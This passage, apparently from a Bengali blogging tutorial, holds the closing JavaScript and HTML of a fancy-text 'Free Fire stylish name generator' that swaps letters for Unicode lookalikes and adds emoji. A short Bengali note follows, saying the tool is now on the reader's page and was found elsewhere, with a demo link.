    function randomElement(a) {
      return a[Math.floor(Math.random()*a.length)];
    }
    //https://github.com/mathiasbynens/esrever
    !function(e){var o="object"==typeof exports&&exports,r="object"==typeof module&&module&&module.exports==o&&module,n="object"==typeof global&&global;(n.global===n||n.window===n)&&(e=n);var t=/(<%= allExceptCombiningMarks %>)(<%= combiningMarks %>+)/g,i=/([\uD800-\uDBFF])([\uDC00-\uDFFF])/g,f=function(e){e=e.replace(t,function(e,o,r){return f(r)+o}).replace(i,"$2$1");for(var o="",r=e.length;r--;)o+=e.charAt(r);return o},l={version:"<%= version %>",reverse:f};if("function"==typeof define&&"object"==typeof define.amd&&define.amd)define(function(){return l});else if(o&&!o.nodeType)if(r)r.exports=l;else for(var a in l)l.hasOwnProperty(a)&&(o[a]=l[a]);else e.esrever=l}(this);
































    // CRAZY TEXT
    function fullCrazy(text) {
      if(text.trim() === "") return "";
      return randomSymbols(2) +"  "+ crazifyText(text) +"  "+ randomSymbols(2)
    }
    function crazifyText(text) {
      text = text.split("");
      for(var i = 0; i < text.length; i++) { text[i] =  crazifyCharacter(text[i]); }
      return text.join("");
    }
    function crazifyCharacter(c) {
      c = c.toLowerCase();
      var map = {"&":"⅋","%":["⅍","℀","℁","℆","℅"],"0":["0","Ѳ","ʘ"],"1":["➀","❶","1"],"2":["2","❷","➁"],"3":["3","❸","➂"],"4":["4","❹","➃"],"5":["❺","➄","5"],"6":["6","❻","➅"],"7":["7","❼","➆"],"8":["8","➇","❽"],"9":["➈","❾","9"],"<":["≼","≺","≪","☾","≾","⋜","⋞","⋐","⊂","⊏","⊑","《","<","❮","❰","⫷"],">":"☽≫≻≽≿⋝⋟⋑⊃⊐⊒⫸》>❯❱","[":"【〖〘〚[","]":"】〗〙〛]","*":"✨✩✪✫✬✭✮✯✰✦✱✲✳✴✵✶✷֍֎✸✹✺✻✼✽✾✿❀❁❂❃❄★☆*","a":["Ⓐ","ⓐ","α","A","a","ᗩ","卂","Δ","ค","α","ά","Ã","𝔞","𝓪","𝒶","𝓐","𝐀","𝐚","𝔸","𝕒","ᵃ"],"b":["Ⓑ","ⓑ","в","B","乃","b","ᗷ","β","๒","в","в","β","𝔟","𝓫","𝒷","𝓑","𝐁","𝐛","𝔹","𝕓","ᵇ"],"c":["Ⓒ","ⓒ","匚","¢","C","c","ᑕ","Ć","ς","c","ς","Č","℃","𝔠","𝓬","𝒸","𝓒","𝐂","𝐜","ℂ","𝕔","ᶜ"],"d":["Ⓓ","ⓓ","∂","D","d","ᗪ","Đ","๔","∂","đ","Ď","𝔡","𝓭","𝒹","𝓓","𝐃","ᗪ","𝐝","𝔻","𝕕","ᵈ"],"e":["Ⓔ","乇","ⓔ","є","E","e","ᗴ","€","є","ε","έ","Ẹ","𝔢","𝒆","𝑒","𝓔","𝐄","𝐞","𝔼","𝕖","ᵉ"],"f":["Ⓕ","ⓕ","ƒ","F","f","千","ᖴ","ℱ","Ŧ","ғ","ғ","Ƒ","𝔣","𝒇","𝒻","𝓕","𝐅","𝐟","𝔽","𝕗","ᶠ"],"g":["Ⓖ","ⓖ","ق","g","G","g","Ǥ","Ꮆ","ﻮ","g","ģ","Ğ","𝔤","𝓰","𝑔","𝓖","𝐆","𝐠","𝔾","𝕘","ᵍ","Ꮆ"],"h":["Ⓗ","卄","ⓗ","н","H","h","ᕼ","Ħ","ђ","н","ħ","Ĥ","𝔥","𝓱","𝒽","𝓗","𝐇","𝐡","ℍ","𝕙","ʰ"],"i":["Ⓘ","ⓘ","ι","I","i","Ꭵ","丨","Ɨ","เ","ι","ί","Į","𝔦","𝓲","𝒾","𝓘","𝐈","𝐢","𝕀","𝕚","ᶤ"],"j":["Ⓙ","ⓙ","נ","J","ڶ","j","ᒎ","Ĵ","ן","נ","ј","Ĵ","𝔧","𝓳","𝒿","𝓙","𝐉","𝐣","𝕁","𝕛","ʲ"],"k":["Ⓚ","ⓚ","к","K","k","ᛕ","Ҝ","к","к","ķ","Ќ","𝔨","𝓴","𝓀","𝓚","𝐊","𝐤","𝕂","𝕜","ᵏ","Ҝ"],"l":["Ⓛ","ⓛ","ℓ","ㄥ","L","l","ᒪ","Ł","l","ℓ","Ļ","Ĺ","𝔩","𝓵","𝓁","𝓛","𝐋","𝐥","𝕃","𝕝","ˡ"],"m":["Ⓜ","ⓜ","м","M","m","ᗰ","Μ","๓","м","м","ϻ","𝔪","𝓶","𝓂","𝓜","𝐌","𝐦","𝕄","𝕞","ᵐ","爪"],"n":["Ⓝ","几","ⓝ","η","N","n","ᑎ","Ň","ภ","η","ή","Ň","𝔫","𝓷","𝓃","𝓝","𝐍","𝐧","ℕ","𝕟","ᶰ"],"o":["Ⓞ","ㄖ","ⓞ","σ","O","o","ᗝ","Ø","๏","σ","ό","Ỗ","𝔬","𝓸","𝑜","𝓞","𝐎","𝐨","𝕆","𝕠","ᵒ"],"p":["Ⓟ","ⓟ","ρ","P","p","卩","ᑭ","Ƥ","ק","ρ","ρ","Ƥ","𝔭","𝓹","𝓅","𝓟","𝐏","𝐩","ℙ","𝕡","ᵖ"],"q":["Ⓠ","ⓠ","q","Q","q","Ɋ","Ω","ợ","q","q","Ǫ","𝔮","𝓺","𝓆","𝓠","𝐐","𝐪","ℚ","𝕢","ᵠ"],"r":["Ⓡ","ⓡ","я","尺","R","r","ᖇ","Ř","г","я","ŕ","Ř","𝔯","𝓻","𝓇","𝓡","𝐑","𝐫","ℝ","𝕣","ʳ"],"s":["Ⓢ","ⓢ","ѕ","S","丂","s","ᔕ","Ş","ร","s","ş","Ŝ","𝔰","𝓼","𝓈","𝓢","𝐒","𝐬","𝕊","𝕤","ˢ"],"t":["Ⓣ","ⓣ","т","T","t","丅","Ŧ","t","т","ţ","Ť","𝔱","𝓽","𝓉","𝓣","𝐓","𝐭","𝕋","𝕥","ᵗ"],"u":["Ⓤ","ⓤ","υ","U","u","ᑌ","Ữ","ย","υ","ù","Ǘ","𝔲","𝓾","𝓊","𝓤","𝐔","𝐮","𝕌","𝕦","ᵘ"],"v":["Ⓥ","ⓥ","ν","V","v","ᐯ","V","ש","v","ν","Ѷ","𝔳","𝓿","𝓋","𝓥","𝐕","𝐯","𝕍","𝕧","ᵛ"],"w":["Ⓦ","ⓦ","ω","W","w","ᗯ","Ŵ","ฬ","ω","ώ","Ŵ","𝔴","𝔀","𝓌","𝓦","𝐖","𝐰","𝕎","𝕨","ʷ","山"],"x":["Ⓧ","ⓧ","χ","X","乂","x","᙭","Ж","א","x","x","Ж","𝔵","𝔁","𝓍","𝓧","𝐗","𝐱","𝕏","𝕩","ˣ"],"y":["Ⓨ","ㄚ","ⓨ","у","Y","y","Ƴ","¥","ץ","ү","ч","Ў","𝔶","𝔂","𝓎","𝓨","𝐘","𝐲","𝕐","𝕪","ʸ"],"z":["Ⓩ","ⓩ","z","乙","Z","z","Ƶ","Ž","z","z","ž","Ż","𝔷","𝔃","𝓏","𝓩","𝐙","𝐳","ℤ","𝕫","ᶻ"]};
      if(map[c]) { return randomElement(map[c]); }
      else { return c; }
    }
    function randomElement(array) {
      return array[Math.floor(Math.random() * array.length)]
    }
    function randomSymbols(n) {
      var symbols = ["🐙","🐉","🐊","🐒","🐝","🐜","🐚","🐲","🐳","🐸","👑","👹","👺","👤","💲","💣","💙","💚","💛","💜","💝","💗","💘","💞","💔","💥","🐯","🐼","🐻","🐺","👌","🐍","🐧","🐟","🐠","🐨","🎯","🏆","🎁","🎀","🎉","🎈","🍮","🍭","🍬","🍫","🍪","🍧","🌷","🍓","😺","😾","✎","😎","😝","😂","😈","😡","😲","😳","🍔","🍟","🍩","🎃","🎄","🎅","🐣","🐤","👍","👊","👻","👽","👮","💎","💋","👣","💀","💢","🔥","♔","♕","♖","♗","♘","♙","♚","♛","♜","♝","♞","♟","♠","♡","♢","♣","♤","♥","♦","♧","♨","♩","♪","♬","★","☆","☺","☹","☯","☮","☢","☠","☟","☞","☝","☜","✌","✋","✊","⛵","ൠ","✌","ඏ"];
      var s = [];
      for(var i = 0; i < n; i++) s.push( randomElement(symbols) );
      return s.join("");
    }
    function randInt(min, max) {
      return min + Math.floor(Math.random()*(max-min+1));
}


                
reverseIsDisabled = true;
function backward(text) { return $('#english-text').val(); }                //]]>
            //} catch(e) {
            //    alert("There's an error in the custom script of this translator. Error:"+e);
            //}




                        try {
                        


                        var jsonData = {"phrases1":"","phrases2":"","words1":"","words2":"","intraword1":"","intraword2":"","prefixes1":"","prefixes2":"","suffixes1":"","suffixes2":"","regex1":"","regex2":"","rev_regex1":"","rev_regex2":"","ordering1":"","ordering2":""};
                        phrases1 = jsonData.phrases1.split("\n");
                        phrases2 = jsonData.phrases2.split("\n");
                        words1 = jsonData.words1.split("\n");
                        words2 = jsonData.words2.split("\n");
                        intraword1 = jsonData.intraword1.split("\n");
                        intraword2 = jsonData.intraword2.split("\n");
                        prefixes1 = jsonData.prefixes1.split("\n");
                        prefixes2 = jsonData.prefixes2.split("\n");
                        suffixes1 = jsonData.suffixes1.split("\n");
                        suffixes2 = jsonData.suffixes2.split("\n");
                        regex1 = jsonData.regex1.split("\n");
                        regex2 = jsonData.regex2.split("\n");
                        rev_regex1 = jsonData.rev_regex1.split("\n");
                        rev_regex2 = jsonData.rev_regex2.split("\n");
            ordering1 = jsonData.ordering1.split("\n");
            ordering2 = jsonData.ordering2.split("\n");


                        } catch(err) {
                                alert("Ahh an error! Please contact me via hello@josephrocca.com and I'll fix it asap. Error log: "+err.message);
                        }


                        evenUpSizes(phrases1,phrases2);
                        evenUpSizes(words1,words2);
                        evenUpSizes(intraword1,intraword2);
                        evenUpSizes(prefixes1,prefixes2);
                        evenUpSizes(suffixes1,suffixes2);


                        //fix for mysql trailing newline deletion problem
                        function evenUpSizes(a,b) {
                                if(a.length > b.length) {
                                        while(a.length > b.length) b.push("");
                                } else if(b.length > a.length) {
                                        while(b.length > a.length) a.push("");
                                }
                        }


                        handleDuplicates(words1, words2);
                        /* Initial translate for default text */
                        if($('#english-text').val() != "") {
                                var english = $('#english-text').val();
                                var ghetto = translate(english);
                                $('#ghetto-text').val(ghetto);
                        }
                


</script>


<script>
$(function() { 
 /*if($.trim($("#fancytext").val())!='') { 
    generateFancy($("#fancytext").val());
  } else {
   generateFancy("Preview Text");
  }*/
  
$(".fancytext").keyup(function() { 
   $(".fancytext").val($(this).val());
   if($.trim($(this).val())!='') { 
   generateFancy($(this).val());
   } else {
   generateFancy("Preview Text");
   }
 });
var ct = 89;
function generateFancy(txt) {
  var fancyText = '';
     var result = forward(txt);
         var finalRes =  result.split('\n\n');
         var sn=1;
        $.each(finalRes,function(inx, vl) { 
            $("#copy_"+inx).val(vl);
            
         // fancyText  +=  '<div class="input-group mb-3"><input type="text" class="form-control text-'+sn+'" value="'+vl+'" id="copy_'+inx+'" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_'+inx+'">Copy</span></div></div>';
          sn++;
        });
        
        
        for(k=89; k<=ct; k++) {
            //console.log(k);
            $("#copy_"+k).val(crazyWithFlourishOrSymbols(txt));
        }
           //$("#result").html(fancyText); 
}
 
 $(".loadmore").click(function(){
   $(this).html('Loading...');
    var text = $.trim($(".fancytext").val());
   if(text=='') {
     text = 'Preview Text';
   } 
   var that = $(this);
   var intvl = setInterval(function(){  that.html('Load More');clearInterval(intvl); }, 1000);
   for(var i=1;i<=10;i++){
    fancyText  =  '<div class="input-group mb-3"><input type="text" class="form-control" value="'+crazyWithFlourishOrSymbols(text)+'" id="copy_'+ct+'" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_'+ct+'">Copy</span></div></div>';
      ct++;
    $("#result").append(fancyText);
    }
 });


});
</script>
 <script>
$(function(){
var intv = setInterval(function(){ $(".copybutton").html('Copy'); }, 2000);
  $("body").on('click',".copybutton",function() { 
$(".copybutton").html('Copy');
$(this).html('Copied'); 
clearInterval(intv);
});
});


    var clipboard = new ClipboardJS('.copybutton');
    clipboard.on('success', function(e) {
        //console.log(e);
    });
    clipboard.on('error', function(e) {
        //console.log(e);
    });
    </script>
    </body>
    </html>

কাজ হয়ে গেছে।এখন আপনার পেজটি ভিজিট করে দেখুন,আপনার ওয়েবসাইট Free fire stylish name generator টুল অ্যাড হয়ে গেছে।




বিশেষ দ্রষ্টব্য : টুলটি আমার নিজের বানানো নয়।অনেক খুজে পেয়েছি।যেসব টুল অল্প খুজেই পেয়ে যাবেন গুগল অথবা ইউটিউবে,সেগুলোতে আপনাকে আলাদা ব্লগ খুলতে হবে।কিন্তু এই টুলসটি আপনার ব্লগে আলাদা পেজ এর ভিতরে রাখতে পারবেন।আর এটাই এই টুলসটি বিশেষ দিক।

Demo : https://stg-wikibn.blogspot.com/